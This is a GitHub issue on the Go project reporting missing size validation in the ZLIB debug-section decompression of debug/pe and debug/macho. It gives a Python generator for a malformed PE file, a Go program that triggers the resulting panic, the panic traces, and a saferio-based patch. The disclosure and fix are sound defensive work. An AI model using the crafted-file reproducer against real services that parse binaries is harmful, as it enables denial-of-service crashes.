Skip to content

debug/pe, debug/macho: missing saferio validation in ZLIB section decompression #79315

@character-s

Description

@character-s

Go version

go1.24.3 linux/amd64

What did you do?

Called DWARF() on a crafted PE or Mach-O binary containing a ZLIB-compressed debug section with a large dlen value in the 12-byte ZLIB header.

What did you expect to see?

An error returned, similar to how debug/elf handles oversized allocations after commit 6064169 (Fixes #78611, For #47653) applied saferio.SliceCap hardening.

What did you see instead?

panic: runtime error: makeslice: len out of range — the process terminates.

Details

debug/pe and debug/macho read an attacker-controlled uint64 from ZLIB-compressed debug section headers and pass it directly to make([]byte, dlen) without size validation.

File 1src/debug/pe/file.go around line 240 (inside File.DWARF()sectionData closure):

if len(b) >= 12 && string(b[:4]) == "ZLIB" {
    dlen := binary.BigEndian.Uint64(b[4:12])  // from section data
    dbuf := make([]byte, dlen)                 // no saferio validation

File 2src/debug/macho/file.go around line 649 (same pattern):

if len(b) >= 12 && string(b[:4]) == "ZLIB" {
    dlen := binary.BigEndian.Uint64(b[4:12])
    dbuf := make([]byte, dlen)

Note: debug/macho already imports internal/saferio (line 26) but does not use it in the ZLIB path. debug/pe/file.go does not currently import internal/saferio.

Reproducer

Minimal PE binary generator (Python):

import struct

dos = bytearray(64)
dos[0:2] = b'MZ'
struct.pack_into('<I', dos, 60, 64)
pe_sig = b'PE\x00\x00'
coff = bytearray(20)
struct.pack_into('<H', coff, 0, 0x14c)  # i386
struct.pack_into('<H', coff, 2, 1)       # 1 section
struct.pack_into('<I', coff, 8, 128+512) # symbol table offset
sec = bytearray(40)
sec[0:8] = b'/4\x00\x00\x00\x00\x00\x00'  # string table ref
struct.pack_into('<I', sec, 16, 512)  # SizeOfRawData
struct.pack_into('<I', sec, 20, 128)  # PointerToRawData
zlib_data = bytearray(512)
zlib_data[0:4] = b'ZLIB'
struct.pack_into('>Q', zlib_data, 4, 0xFFFFFFFFFFFFFFFF)
strtab = struct.pack('<I', 17) + b'.zdebug_info\x00'
with open('malicious.pe', 'wb') as f:
    f.write(dos + pe_sig + coff + sec + zlib_data + strtab)

Trigger:

package main

import (
    "debug/pe"
    "os"
)

func main() {
    f, _ := pe.Open(os.Args[1])
    if f != nil {
        f.DWARF() // panics
    }
}

Confirmed output (Go 1.24.3)

debug/pe:

panic: runtime error: makeslice: len out of range

goroutine 1 [running]:
debug/pe.(*File).DWARF.func2(0xc0001001e0)
        /usr/local/go/src/debug/pe/file.go:240 +0xd8

debug/macho (same pattern with __zdebug_info Mach-O section):

panic: runtime error: makeslice: len out of range

goroutine 1 [running]:
debug/macho.(*File).DWARF.func2(0xc0000c8100)
        /usr/local/go/src/debug/macho/file.go:649 +0xab

Suggested fix

Apply saferio.SliceCap + saferio.ReadData, consistent with the approach used in debug/elf (commit 6064169):

debug/pe/file.go:

+import "internal/saferio"

 if len(b) >= 12 && string(b[:4]) == "ZLIB" {
     dlen := binary.BigEndian.Uint64(b[4:12])
-    dbuf := make([]byte, dlen)
-    r, err := zlib.NewReader(bytes.NewBuffer(b[12:]))
-    if err != nil {
-        return nil, err
-    }
-    if _, err := io.ReadFull(r, dbuf); err != nil {
-        return nil, err
+    c := saferio.SliceCap[byte](dlen)
+    if c < 0 {
+        return nil, fmt.Errorf("PE ZLIB section too large: %d", dlen)
     }
+    r, err := zlib.NewReader(bytes.NewBuffer(b[12:]))
+    if err != nil {
+        return nil, err
+    }
+    defer r.Close()
+    dbuf, err := saferio.ReadData(r, dlen)
+    if err != nil {
+        return nil, err
+    }

Same change for debug/macho/file.go (saferio is already imported).

Related issues

I understand debug/* packages are outside the scope of https://go.dev/security/policy. This is a hardening request for consistency with the saferio work already applied to debug/elf.

Metadata

Metadata

Assignees

No one assigned

    Labels

    FixPendingIssues that have a fix which has not yet been reviewed or submitted.

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions